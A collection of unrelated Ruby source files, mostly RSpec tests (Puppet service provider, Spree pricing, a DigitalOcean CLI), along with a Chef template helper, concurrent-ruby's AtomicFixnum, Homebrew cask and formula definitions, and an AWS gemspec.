true) expect(provider).to receive(:execute) .with(['/bin/foo'], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) .and_return(process_output) provider.status end it "should return :stopped when the status command returns with a non-zero exitcode" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :status => '/bin/foo')) expect(provider).not_to receive(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:execute) .with(['/bin/foo'], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) .and_return(Puppet::Util::Execution::ProcessOutput.new('', 3)) expect(provider.status).to eq(:stopped) end it "should return :running when the status command returns with a zero exitcode" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :status => '/bin/foo')) expect(provider).not_to receive(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:execute) .with(['/bin/foo'], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) .and_return(process_output) expect(provider.status).to eq(:running) end end describe "when hasstatus is false" do it "should return running if a pid can be found" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :hasstatus => false)) expect(provider).not_to receive(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:getpid).and_return(1000) expect(provider.status).to eq(:running) end it "should return stopped if no pid can be found" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :hasstatus => false)) expect(provider).not_to receive(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:getpid).and_return(nil) expect(provider.status).to eq(:stopped) end end describe "when hasstatus is true" do it "should return running if <initscript> status exits with a zero exitcode" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :hasstatus => true)) expect(provider).to receive(:search).with('sshd').and_return('/etc/init.d/sshd') expect(provider).to receive(:execute) .with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) .and_return(process_output) expect(provider.status).to eq(:running) end it "should return stopped if <initscript> status exits with a non-zero exitcode" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :hasstatus => true)) expect(provider).to receive(:search).with('sshd').and_return('/etc/init.d/sshd') expect(provider).to receive(:execute) .with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true) .and_return(Puppet::Util::Execution::ProcessOutput.new('', 3)) expect(provider.status).to eq(:stopped) end end end describe "#restart" do it "should use the supplied restart command if specified" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :restart => '/bin/foo')) expect(provider).not_to receive(:execute).with(['/etc/init.d/sshd',:restart], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:execute).with(['/bin/foo'], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) provider.restart end it "should restart the service with <initscript> restart if hasrestart is true" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :hasrestart => true)) expect(provider).to receive(:search).with('sshd').and_return('/etc/init.d/sshd') expect(provider).to receive(:execute).with(['/etc/init.d/sshd',:restart], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) provider.restart end it "should restart the service with <initscript> stop/start if hasrestart is false" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :hasrestart => false)) expect(provider).to receive(:search).with('sshd').and_return('/etc/init.d/sshd') expect(provider).not_to receive(:execute).with(['/etc/init.d/sshd',:restart], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:execute).with(['/etc/init.d/sshd',:stop], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:execute).with(['/etc/init.d/sshd',:start], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) provider.restart end end end
47.984064
170
0.653271
33b9b254a56d1479fa2b835dd2962bffb9d9557f
936
require 'spec_helper' describe Spree::Variant do describe "#price_in" do it "returns the sale price if it is present" do variant = create(:variant, :sale_price => 8.00) expected = Spree::Price.new(:variant_id => variant.id, :currency => "USD", :amount => variant.sale_price) result = variant.price_in("USD") result.variant_id.should == expected.variant_id result.amount.to_f.should == expected.amount.to_f result.currency.should == expected.currency end it "returns the normal price if its not on sale" do variant = create(:variant, :price => 15.00) expected = Spree::Price.new(:variant_id => variant.id, :currency => "USD", :amount => variant.price) result = variant.price_in("USD") result.variant_id.should == expected.variant_id result.amount.to_f.should == expected.amount.to_f result.currency.should == expected.currency end end end
33.428571
111
0.673077
7a614a0ada45cf1caf7f0041782f8abcd080d768
382
require "rails_helper" require_relative "../../../../support/api/v1/views/index" describe "api/v1/ad_placements/index.json.jbuilder" do before(:each) do assign(:resources, create(:ad, :with_placements).placements) render end it_behaves_like "an index view", 3, [ :id, :ad, :start_date, :end_date, :price, :created_at, :updated_at ] end
19.1
64
0.649215
91a3416fea19177e1aa0041bdfe2ef6979ac30a7
3,329
require 'spec_helper' describe Tugboat::CLI do include_context "spec" describe "wait" do it "waits for a droplet with a fuzzy name" do stub_request(:get, "https://api.digitalocean.com/droplets?api_key=#{api_key}&client_id=#{client_key}"). to_return(:headers => {'Content-Type' => 'application/json'}, :status => 200, :body => fixture("show_droplets")) stub_request(:get, "https://api.digitalocean.com/droplets/100823?api_key=#{api_key}&client_id=#{client_key}"). to_return(:headers => {'Content-Type' => 'application/json'}, :status => 200, :body => fixture("show_droplet")) @cli.options = @cli.options.merge(:state => "active") @cli.wait("foo") expect($stdout.string).to eq <<-eos Droplet fuzzy name provided. Finding droplet ID...done\e[0m, 100823 (foo) Waiting for droplet to become active..done\e[0m (0s) eos expect(a_request(:get, "https://api.digitalocean.com/droplets?api_key=#{api_key}&client_id=#{client_key}")).to have_been_made expect(a_request(:get, "https://api.digitalocean.com/droplets/100823?api_key=#{api_key}&client_id=#{client_key}")).to have_been_made end it "waits for a droplet with an id" do stub_request(:get, "https://api.digitalocean.com/droplets/#{droplet_id}?api_key=#{api_key}&client_id=#{client_key}"). to_return(:headers => {'Content-Type' => 'application/json'}, :status => 200, :body => fixture("show_droplet")) stub_request(:get, "https://api.digitalocean.com/droplets/100823?api_key=#{api_key}&client_id=#{client_key}"). to_return(:headers => {'Content-Type' => 'application/json'}, :status => 200, :body => fixture("show_droplet")) @cli.options = @cli.options.merge(:id => droplet_id, :state => "active") @cli.wait expect($stdout.string).to eq <<-eos Droplet id provided. Finding Droplet...done\e[0m, 100823 (foo) Waiting for droplet to become active..done\e[0m (0s) eos expect(a_request(:get, "https://api.digitalocean.com/droplets/100823?api_key=#{api_key}&client_id=#{client_key}")).to have_been_made expect(a_request(:get, "https://api.digitalocean.com/droplets/#{droplet_id}?api_key=#{api_key}&client_id=#{client_key}")).to have_been_made end it "waits for a droplet with a name" do stub_request(:get, "https://api.digitalocean.com/droplets?api_key=#{api_key}&client_id=#{client_key}"). to_return(:headers => {'Content-Type' => 'application/json'}, :status => 200, :body => fixture("show_droplets")) stub_request(:get, "https://api.digitalocean.com/droplets/100823?api_key=#{api_key}&client_id=#{client_key}"). to_return(:headers => {'Content-Type' => 'application/json'}, :status => 200, :body => fixture("show_droplet")) @cli.options = @cli.options.merge(:name => droplet_name, :state => "active") @cli.wait expect($stdout.string).to eq <<-eos Droplet name provided. Finding droplet ID...done\e[0m, 100823 (foo) Waiting for droplet to become active..done\e[0m (0s) eos expect(a_request(:get, "https://api.digitalocean.com/droplets/100823?api_key=#{api_key}&client_id=#{client_key}")).to have_been_made expect(a_request(:get, "https://api.digitalocean.com/droplets?api_key=#{api_key}&client_id=#{client_key}")).to have_been_made end end end
49.686567
145
0.678582
624fdafc3d51614613aa40a41c55a0853dd54a86
388
# frozen_string_literal: true require "atdis/models/application" module ATDIS module Models class Response < Model field_mappings( application: Application ) validates :application, presence_before_type_cast: { spec_section: "4.3" } # This model is only valid if the children are valid validates :application, valid: true end end end
20.421053
80
0.693299
ed7f5a8126be768fba53893f308e3d9dc6378268
421
require 'bundler/setup' require 'boring_presenters' require 'lib/user' require 'lib/user_presenter' RSpec.configure do |config| # Enable flags like --only-failures and --next-failure config.example_status_persistence_file_path = '.rspec_status' # Disable RSpec exposing methods globally on `Module` and `main` config.disable_monkey_patching! config.expect_with :rspec do |c| c.syntax = :expect end end
24.764706
66
0.76247
4a5085ca20e9eb6e6570bae10e2446d667c587fd
1,213
module Decorators module V4 class CapitalDecorator def initialize(assessment) @assessment = assessment @summary = assessment.capital_summary end def as_json payload unless @summary.nil? end private def payload { capital_items: capital_items } end def capital_items { liquid: liquid_items, non_liquid: non_liquid_items, vehicles: vehicles, properties: properties } end def properties { main_home: PropertyDecorator.new(@summary.main_home)&.as_json, additional_properties: additional_properties } end def liquid_items @summary.liquid_capital_items.map { |i| CapitalItemDecorator.new(i).as_json } end def non_liquid_items @summary.non_liquid_capital_items.map { |ni| CapitalItemDecorator.new(ni).as_json } end def additional_properties @summary.additional_properties.map { |p| PropertyDecorator.new(p).as_json } end def vehicles @summary.vehicles.map { |v| VehicleDecorator.new(v).as_json } end end end end
22.054545
91
0.610058
0309b5994c4b686c71b21bdb70d77df936bb0768
3,157
# # Author:: Adam Jacob (<[email protected]>) # Copyright:: Copyright (c) 2008 Opscode, Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # require 'tempfile' require 'erubis' class Chef module Mixin module Template module ChefContext def node return @node if @node raise "Could not find a value for node. If you are explicitly setting variables in a template, " + "include a node variable if you plan to use it." end end ::Erubis::Context.send(:include, ChefContext) # Render a template with Erubis. Takes a template as a string, and a # context hash. def render_template(template, context) begin eruby = Erubis::Eruby.new(template) output = eruby.evaluate(context) rescue Object => e raise TemplateError.new(e, template, context) end final_tempfile = Tempfile.new("chef-rendered-template") final_tempfile.print(output) final_tempfile.close final_tempfile end class TemplateError < RuntimeError attr_reader :original_exception, :context SOURCE_CONTEXT_WINDOW = 2 unless defined? SOURCE_CONTEXT_WINDOW def initialize(original_exception, template, context) @original_exception, @template, @context = original_exception, template, context end def message @original_exception.message end def line_number @line_number ||= $1.to_i if original_exception.backtrace.find {|line| line =~ /\(erubis\):(\d+)/ } end def source_location "on line ##{line_number}" end def source_listing @source_listing ||= begin line_index = line_number - 1 beginning_line = line_index <= SOURCE_CONTEXT_WINDOW ? 0 : line_index - SOURCE_CONTEXT_WINDOW source_size = SOURCE_CONTEXT_WINDOW * 2 + 1 lines = @template.split(/\n/) contextual_lines = lines[beginning_line, source_size] output = [] contextual_lines.each_with_index do |line, index| line_number = (index+beginning_line+1).to_s.rjust(3) output << "#{line_number}: #{line}" end output.join("\n") end end def to_s "\n\n#{self.class} (#{message}) #{source_location}:\n\n" + "#{source_listing}\n\n #{original_exception.backtrace.join("\n ")}\n\n" end end end end end
33.231579
108
0.614191
4a047179d89464e0425ec4c79ef7cea9a6346dc5
923
cask "goneovim" do version "0.6.1" sha256 "870083f880f66619566e8f7a574c562e7dd3f71fc0e86b6706d12e85e76dda73" url "https://github.com/akiyosi/goneovim/releases/download/v#{version}/Goneovim-v#{version}-macos.tar.bz2" name "Goneovim" desc "Neovim GUI written in Golang, using a Golang qt backend" homepage "https://github.com/akiyosi/goneovim" livecheck do url :url strategy :github_latest end depends_on formula: "neovim" app "Goneovim-v#{version}-macos/goneovim.app" # shim script (https://github.com/Homebrew/homebrew-cask/issues/18809) shimscript = "#{staged_path}/goneovim.wrapper.sh" binary shimscript, target: "goneovim" preflight do File.write shimscript, <<~EOS #!/bin/sh exec '#{appdir}/goneovim.app/Contents/MacOS/goneovim' "$@" EOS end zap trash: [ "~/Library/Saved Application State/com.ident.goneovim.savedState", "~/.goneovim", ] end
27.147059
108
0.710726
9153cf2b307d6fb481449c4742736f5ea0c4f9ce
672
class A # @type instance: A # @type module: A.class # A#foo is defined and the implementation is compatible. def foo(x) x end # A#bar is defined but the implementation is incompatible. # !expects MethodArityMismatch: method=bar def bar(y) y end # Object#to_s is defined but the implementation is incompatible. # !expects MethodBodyTypeMismatch: method=to_s, expected=::String, actual=::Integer def to_s 3 end # No method definition given via signature, there is no type error. def to_str 5 end # !expects MethodBodyTypeMismatch: method=self.baz, expected=::Integer, actual=::String def self.baz "baz" end end
21
89
0.696429
f7441806af20ed18d039137e905128e6fe321277
321
FactoryBot.define do factory :order do account customer user order_number 1001 total_line_items_price 110 total_discounts 10 subtotal 100 total_tax 10 total_price 110 total_weight 2 end end
20.0625
34
0.510903
1a82e7d087a6814b9d92edea904ada22779964b2
597
require 'yaml' require 'active_support/all' module KawaiiApiCli class << self attr_accessor :ui end autoload :Config, 'kawaiiapi_cli/config' autoload :ResponseCodeException, 'kawaiiapi_cli/exception/response_code_exception' autoload :UI, 'kawaiiapi_cli/ui' autoload :Util, 'kawaiiapi_cli/util' autoload :Version, 'kawaiiapi_cli/version' KawaiiApiCli.ui = STDOUT.tty? ? KawaiiApiCli::UI::Color.new : KawaiiApiCli::UI::Basic.new # 3rd Party Gems autoload :Shellwords, 'shellwords' end
29.85
91
0.646566
acb4660bd5d49f7e39e103a59a38228d2f5e8cf6
217
class Dog #GIVE A DOG A NAME def name=(new_name) @name = new_name end def name @name end #GIVE A DOG A BREED def breed=(new_breed) @breed = new_breed end def breed @breed end end
11.421053
23
0.608295
6a23cecb8653ba7a19f5c190ab28031f922ccf1d
1,114
require File.expand_path('../boot', __FILE__) require 'rails/all' # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) module Orbital class Application < Rails::Application # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. # config.time_zone = 'Central Time (US & Canada)' # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de # Do not swallow errors in after_commit/after_rollback callbacks. config.active_record.raise_in_transactional_callbacks = true end end
41.259259
99
0.733393
1c2b0726a1cd507d7c2fdcc93de77f0f7d390083
4,444
require 'concurrent/atomic/mutex_atomic_fixnum' require 'concurrent/synchronization' module Concurrent ################################################################### # @!macro [new] atomic_fixnum_method_initialize # # Creates a new `AtomicFixnum` with the given initial value. # # @param [Fixnum] initial the initial value # @raise [ArgumentError] if the initial value is not a `Fixnum` # @!macro [new] atomic_fixnum_method_value_get # # Retrieves the current `Fixnum` value. # # @return [Fixnum] the current value # @!macro [new] atomic_fixnum_method_value_set # # Explicitly sets the value. # # @param [Fixnum] value the new value to be set # # @return [Fixnum] the current value # # @raise [ArgumentError] if the new value is not a `Fixnum` # @!macro [new] atomic_fixnum_method_increment # # Increases the current value by the given amount (defaults to 1). # # @param [Fixnum] delta the amount by which to increase the current value # # @return [Fixnum] the current value after incrementation # @!macro [new] atomic_fixnum_method_decrement # # Decreases the current value by the given amount (defaults to 1). # # @param [Fixnum] delta the amount by which to decrease the current value # # @return [Fixnum] the current value after decrementation # @!macro [new] atomic_fixnum_method_compare_and_set # # Atomically sets the value to the given updated value if the current # value == the expected value. # # @param [Fixnum] expect the expected value # @param [Fixnum] update the new value # # @return [Fixnum] true if the value was updated else false # @!macro [new] atomic_fixnum_method_update # # Pass the current value to the given block, replacing it # with the block's result. May retry if the value changes # during the block's execution. # # @yield [Object] Calculate a new value for the atomic reference using # given (old) value # @yieldparam [Object] old_value the starting value of the atomic reference # # @return [Object] the new value ################################################################### # @!macro [new] atomic_fixnum_public_api # # @!method initialize(initial = 0) # @!macro atomic_fixnum_method_initialize # # @!method value # @!macro atomic_fixnum_method_value_get # # @!method value=(value) # @!macro atomic_fixnum_method_value_set # # @!method increment # @!macro atomic_fixnum_method_increment # # @!method decrement # @!macro atomic_fixnum_method_decrement # # @!method compare_and_set(expect, update) # @!macro atomic_fixnum_method_compare_and_set # # @!method update # @!macro atomic_fixnum_method_update ################################################################### # @!visibility private # @!macro internal_implementation_note AtomicFixnumImplementation = case when defined?(JavaAtomicFixnum) JavaAtomicFixnum when defined?(CAtomicFixnum) CAtomicFixnum else MutexAtomicFixnum end private_constant :AtomicFixnumImplementation # @!macro [attach] atomic_fixnum # # A numeric value that can be updated atomically. Reads and writes to an atomic # fixnum and thread-safe and guaranteed to succeed. Reads and writes may block # briefly but no explicit locking is required. # # @!macro thread_safe_variable_comparison # # Testing with ruby 2.1.2 # Testing with Concurrent::MutexAtomicFixnum... # 3.130000 0.000000 3.130000 ( 3.136505) # Testing with Concurrent::CAtomicFixnum... # 0.790000 0.000000 0.790000 ( 0.785550) # # Testing with jruby 1.9.3 # Testing with Concurrent::MutexAtomicFixnum... # 5.460000 2.460000 7.920000 ( 3.715000) # Testing with Concurrent::JavaAtomicFixnum... # 4.520000 0.030000 4.550000 ( 1.187000) # # @see http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/atomic/AtomicLong.html java.util.concurrent.atomic.AtomicLong # # @!macro atomic_fixnum_public_api class AtomicFixnum < AtomicFixnumImplementation end end
33.164179
134
0.621512
e9d952125282a20d6b4be59e5fa15d45a5b99253
2,463
# # tkextlib/iwidgets/radiobox.rb # by Hidetoshi NAGAI ([email protected]) # require 'tk' require 'tkextlib/iwidgets.rb' module Tk module Iwidgets class Radiobox < Tk::Iwidgets::Labeledframe end end end class Tk::Iwidgets::Radiobox TkCommandNames = ['::iwidgets::radiobox'.freeze].freeze WidgetClassName = 'Radiobox'.freeze WidgetClassNames[WidgetClassName] = self #################################### include TkItemConfigMethod def __item_cget_cmd(id) [self.path, 'buttoncget', id] end private :__item_cget_cmd def __item_config_cmd(id) [self.path, 'buttonconfigure', id] end private :__item_config_cmd def __item_boolval_optkeys(id) super(id) << 'defaultring' end private :__item_boolval_optkeys def tagid(tagOrId) if tagOrId.kind_of?(Tk::Itk::Component) tagOrId.name else #_get_eval_string(tagOrId) tagOrId end end alias buttoncget itemcget alias buttoncget_strict itemcget_strict alias buttonconfigure itemconfigure alias buttonconfiginfo itemconfiginfo alias current_buttonconfiginfo current_itemconfiginfo private :itemcget, :itemcget_strict private :itemconfigure, :itemconfiginfo, :current_itemconfiginfo #################################### def add(tag=nil, keys={}) if tag.kind_of?(Hash) keys = tag tag = nil end if tag tag = Tk::Itk::Component.new(self, tagid(tag)) else tag = Tk::Itk::Component.new(self) end tk_call(@path, 'add', tagid(tag), *hash_kv(keys)) tag end def delete(idx) tk_call(@path, 'delete', index(idx)) self end def deselect(idx) tk_call(@path, 'deselect', index(idx)) self end def flash(idx) tk_call(@path, 'flash', index(idx)) self end def get_tag ((tag = tk_call_without_enc(@path, 'get')).empty?)? nil: tag end alias get get_tag def get_obj (tag = get_tag)? Tk::Itk::Component.id2obj(self, tag): nil end def index(idx) number(tk_call(@path, 'index', tagid(idx))) end def insert(idx, tag=nil, keys={}) if tag.kind_of?(Hash) keys = tag tag = nil end if tag tag = Tk::Itk::Component.new(self, tagid(tag)) else tag = Tk::Itk::Component.new(self) end tk_call(@path, 'insert', index(idx), tagid(tag), *hash_kv(keys)) tag end def select(idx) tk_call(@path, 'select', index(idx)) self end end
20.355372
75
0.634998
bf99d6b8003dcabb2d995e44dff5bb8ec4305e5a
721
require 'msgpack' require 'serialport' class ZunDokoServer def initialize @port = SerialPort.new("/dev/zptty0", 38400) @port.read_timeout = 1000 @port.flow_control = SerialPort::HARD @unpacker = MessagePack::Unpacker.new(@port) @msgid = 0 end def call(method, args) @msgid = (@msgid+1) % 256 req = [0, @msgid, method, args].to_msgpack @port.write(req) @unpacker.each do |obj| type, resid, error, result = obj if (error == nil) then return result else puts error return nil end break end end def zundoko return call('zundoko', []) end end server = ZunDokoServer.new result = server.zundoko p result
18.973684
52
0.61165
87e32e9d3b1dae70cce69f0077b990f9fedf51c9
2,103
module Lolita module I18nHelper def locale_options [[::I18n.t("lolita-i18n.choose-other-language"),nil]] + (::I18n.available_locales - [::I18n.default_locale]).sort.map{|locale| [::I18n.t("#{locale}", :default => locale.to_s.upcase), locale] } end def translation active_locale, key, original_key, translation, original, url = nil %Q{ <td style="width:450px", data-key="#{active_locale}.#{original_key}" data-locale="#{active_locale}"> <p> #{text_area_tag "#{active_locale}.#{key}", translation} </p> </td> <td style="width:90%" data-key="#{::I18n.default_locale}.#{original_key}" data-locale="#{::I18n.default_locale}"> <p> #{text_area_tag "#{::I18n.default_locale}.#{key}", original} </p> #{!key.blank? ? "<span class='hint'>#{key}</span>" : ''} #{url.present? ? "<span class='hint'>#{url}</span>" : ''} </td> } end def is_untranslated? value if value.is_a?(Array) || value.is_a?(Hash) true else value.blank? end end def translation_visible? value, url result = true if params[:show_untranslated] result = result && is_untranslated?(value) end if params[:show_with_url] result = result && url.present? end result end def any_translation_visible? values, url if values.is_a?(Array) values.empty? || values.detect{|value| translation_visible?(value, url)} elsif values.is_a?(Hash) values.empty? || values.detect{|key,value| translation_visible?(value, url)} else translation_visible?(values, url) end end def sort_link sort_params = unless params[:sort] params.merge({:sort => 1}) else params.reject{|k,v| k == "sort" || k == :sort} end url_for_sort = url_for(sort_params) link_to(raw("#{::I18n.t(::I18n.default_locale)} #{params[:sort] && "&uArr;"}"), url_for_sort, :id => "translation_sort_link") end end end
31.38806
131
0.573942
ff2528e51bc4f23b73aeadd6449b8f5906d9c94d
2,918
# frozen_string_literal: true # encoding : utf-8 Money.locale_backend = :currency MoneyRails.configure do |config| # To set the default currency # config.default_currency = :usd # Set default bank object # # Example: # config.default_bank = EuCentralBank.new # Add exchange rates to current money bank object. # (The conversion rate refers to one direction only) # # Example: # config.add_rate "USD", "CAD", 1.24515 # config.add_rate "CAD", "USD", 0.803115 # To handle the inclusion of validations for monetized fields # The default value is true # # config.include_validations = true # Default ActiveRecord migration configuration values for columns: # # config.amount_column = { prefix: '', # column name prefix # postfix: '_cents', # column name postfix # column_name: nil, # full column name (overrides prefix, postfix and accessor name) # type: :integer, # column type # present: true, # column will be created # null: false, # other options will be treated as column options # default: 0 # } # # config.currency_column = { prefix: '', # postfix: '_currency', # column_name: nil, # type: :string, # present: true, # null: false, # default: 'USD' # } # Register a custom currency # # Example: # config.register_currency = { # :priority => 1, # :iso_code => "EU4", # :name => "Euro with subunit of 4 digits", # :symbol => "€", # :symbol_first => true, # :subunit => "Subcent", # :subunit_to_unit => 10000, # :thousands_separator => ".", # :decimal_mark => "," # } # Specify a rounding mode # Any one of: # # BigDecimal::ROUND_UP, # BigDecimal::ROUND_DOWN, # BigDecimal::ROUND_HALF_UP, # BigDecimal::ROUND_HALF_DOWN, # BigDecimal::ROUND_HALF_EVEN, # BigDecimal::ROUND_CEILING, # BigDecimal::ROUND_FLOOR # # set to BigDecimal::ROUND_HALF_EVEN by default # # config.rounding_mode = BigDecimal::ROUND_HALF_UP # Set default money format globally. # Default value is nil meaning "ignore this option". # Example: # config.no_cents_if_whole = false config.default_format = { :no_cents_if_whole => false, :symbol => "$", :sign_before_symbol => nil } # Set default raise_error_on_money_parsing option # It will be raise error if assigned different currency # The default value is false # # Example: # config.raise_error_on_money_parsing = false end
29.77551
115
0.556888
ab75fab17982f1c10d6366a83bdcaf140fba0724
423
# Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. # defined in application.yml KycGuideRails::Application.config.secret_token = ENV['SECRET_TOKEN']
42.3
69
0.782506
79852ce1890ab62c42888f3dc39aefc6d23cae0b
23
# typed: true foo < 1
5.75
13
0.565217
b96f93f8e4a584fea48ad947cee149821df60f60
3,109
class Pdnsd < Formula desc "Proxy DNS server with permanent caching" homepage "http://members.home.nl/p.a.rombouts/pdnsd/" url "http://members.home.nl/p.a.rombouts/pdnsd/releases/pdnsd-1.2.9a-par.tar.gz" version "1.2.9a-par" sha256 "bb5835d0caa8c4b31679d6fd6a1a090b71bdf70950db3b1d0cea9cf9cb7e2a7b" license "GPL-3.0" bottle do rebuild 2 sha256 arm64_big_sur: "2a39399ddd344c3d38b4052ca914dc99eebd452a9cf323518504c19671e7b2f6" sha256 big_sur: "1ab46d6a13884a67fe91ecb554c53c8fc5fda4f2d453016cdd1242f8c362e9d5" sha256 catalina: "125b690bbac734558cd9a4510c1336e2a92c3fd4748ba2ed216af9a5041c5d60" sha256 mojave: "822ab7ede7c626ab8cb0c5e7340f3896cdef7cc112c8d9843e55d601f5847297" sha256 high_sierra: "be218973e8fe1d807e7d9ec2762cab2a9968ce302fb46fb89974a686c1afcc43" sha256 sierra: "81c4852b1093820909afc140f052f732cbd94e428d9aff261b90d74cb4935b09" sha256 el_capitan: "1fa2f1f6ba9fc4fe710c1dc1d5bfb2b9663c557f5cdddf3a2fff8394f138a08f" sha256 x86_64_linux: "7990afef4fc1b4cfbf5f3f21e2942fdbdbb67e8fa1c82ad97b8ebd17181c5154" # linuxbrew-core end def install system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--localstatedir=#{var}", "--sysconfdir=#{etc}", "--mandir=#{man}", "--with-cachedir=#{var}/cache/pdnsd" system "make", "install" end def caveats <<~EOS This install of "pdnsd" expects config files to be in #{etc} All state files (status and cache) are stored in #{var}/cache/pdnsd. pdnsd needs to run as root since it listens on privileged ports. Sample config file can be found at #{etc}/pdnsd.conf.sample. Note that you must create the config file before starting the service, and change ownership to "root" or pdnsd will refuse to run: sudo chown root #{etc}/pdnsd.conf For other related utilities, e.g. pdnsd-ctl, to run, change the ownership to the user (default: nobody) running the service: sudo chown -R nobody #{var}/log/pdnsd.log #{var}/cache/pdnsd EOS end plist_options startup: true, manual: "sudo pdnsd" def plist <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>#{plist_name}</string> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <true/> <key>Program</key> <string>#{opt_sbin}/pdnsd</string> <key>StandardErrorPath</key> <string>#{var}/log/pdnsd.log</string> <key>StandardOutputPath</key> <string>#{var}/log/pdnsd.log</string> <key>Disabled</key> <false/> </dict> </plist> EOS end test do assert_match "version #{version}", shell_output("#{sbin}/pdnsd --version", 1) end end
37.457831
109
0.651656
f71adba20b6736879da486a97ceabad794e1df03
101
$LOAD_PATH.unshift File.expand_path("../lib", __dir__) require "cashify" require "minitest/autorun"
20.2
54
0.762376
f7a038302a3c0baff5b8dc607057d7bf2f925d71
1,281
# frozen_string_literal: true # WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE Gem::Specification.new do |spec| spec.name = 'aws-sdk-applicationautoscaling' spec.version = File.read(File.expand_path('../VERSION', __FILE__)).strip spec.summary = 'AWS SDK for Ruby - Application Auto Scaling' spec.description = 'Official AWS Ruby gem for Application Auto Scaling. This gem is part of the AWS SDK for Ruby.' spec.author = 'Amazon Web Services' spec.homepage = 'https://github.com/aws/aws-sdk-ruby' spec.license = 'Apache-2.0' spec.email = ['[email protected]'] spec.require_paths = ['lib'] spec.files = Dir['LICENSE.txt', 'CHANGELOG.md', 'VERSION', 'lib/**/*.rb'] spec.metadata = { 'source_code_uri' => 'https://github.com/aws/aws-sdk-ruby/tree/master/gems/aws-sdk-applicationautoscaling', 'changelog_uri' => 'https://github.com/aws/aws-sdk-ruby/tree/master/gems/aws-sdk-applicationautoscaling/CHANGELOG.md' } spec.add_dependency('aws-sdk-core', '~> 3', '>= 3.112.0') spec.add_dependency('aws-sigv4', '~> 1.1') end
40.03125
123
0.679938
4a0af6ef7757bb4b9b12de0a75fd2efbec47b59c
278
def require_rel(path) require File.expand_path(File.dirname(__FILE__) + path) end require_rel '/../../../config/environment' desc "remove collusion changes from database" task "collude:remove" do require_rel '/../app/migrations/add_collusions' AddCollusions.new.down end
25.272727
57
0.76259
91f8dc9891c828af15311a966938b12155cca74a
1,103
# frozen_string_literal: true module Cocina module ToFedora # This transforms the DRO.type attribute to the process tag value class ProcessTag # TODO: add Software def self.map(type, direction) tag = case type when Cocina::Models::Vocab.image 'Image' when Cocina::Models::Vocab.three_dimensional '3D' when Cocina::Models::Vocab.map 'Map' when Cocina::Models::Vocab.media 'Media' when Cocina::Models::Vocab.manuscript 'Manuscript' when Cocina::Models::Vocab.book short_dir = direction == 'right-to-left' ? 'rtl' : 'ltr' "Book (#{short_dir})" when Cocina::Models::Vocab.document 'Document' when Cocina::Models::Vocab.object 'File' when Cocina::Models::Vocab.webarchive_seed 'Webarchive Seed' end "Process : Content Type : #{tag}" if tag end end end end
30.638889
72
0.516772
1a67f33a1ff09325caa9377fb2c8d34e490cae38
604
